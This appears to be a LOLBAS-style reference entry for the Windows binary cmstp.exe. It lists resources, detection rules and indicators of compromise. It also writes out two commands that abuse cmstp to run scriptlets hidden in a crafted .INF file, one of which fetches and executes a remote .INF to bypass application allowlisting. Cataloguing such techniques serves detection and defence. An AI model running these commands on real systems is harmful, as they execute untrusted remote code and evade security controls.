



Installs or removes a Connection Manager service profile.

Paths:

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

Resources:

- https://twitter.com/NickTyrer/status/958450014111633408
- https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
- https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
- https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

• https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

Acknowledgements:

- Oddvar Moe (<u>@oddvarmoe</u>)
- Nick Tyrer (<u>@NickTyrer</u>)

Detections:

- Sigma: proc creation win cmstp execution by creation.yml
- Sigma: proc creation win uac bypass cmstp.yml
- Splunk: cmlua_or_cmstplua_uac_bypass.yml
- Elastic: defense evasion suspicious managedcode host process.toml
- Elastic: defense evasion unusual process network connection.toml
- IOC: Execution of cmstp.exe without a VPN use case is suspicious
- IOC: DotNet CLR libraries loaded into cmstp.exe
- IOC: DotNet CLR Usage Log cmstp.exe.log

Execute

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

Use case: Execute code hidden within an inf file. Download and run scriptlets from internet.

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1218.003: CMSTP

Tags: Input: INF

AWL bypass

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf

Use case: Execute code hidden within an inf file. Execute code directly from Internet.

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique: T1218.003: CMSTP

Tags: Input: INF

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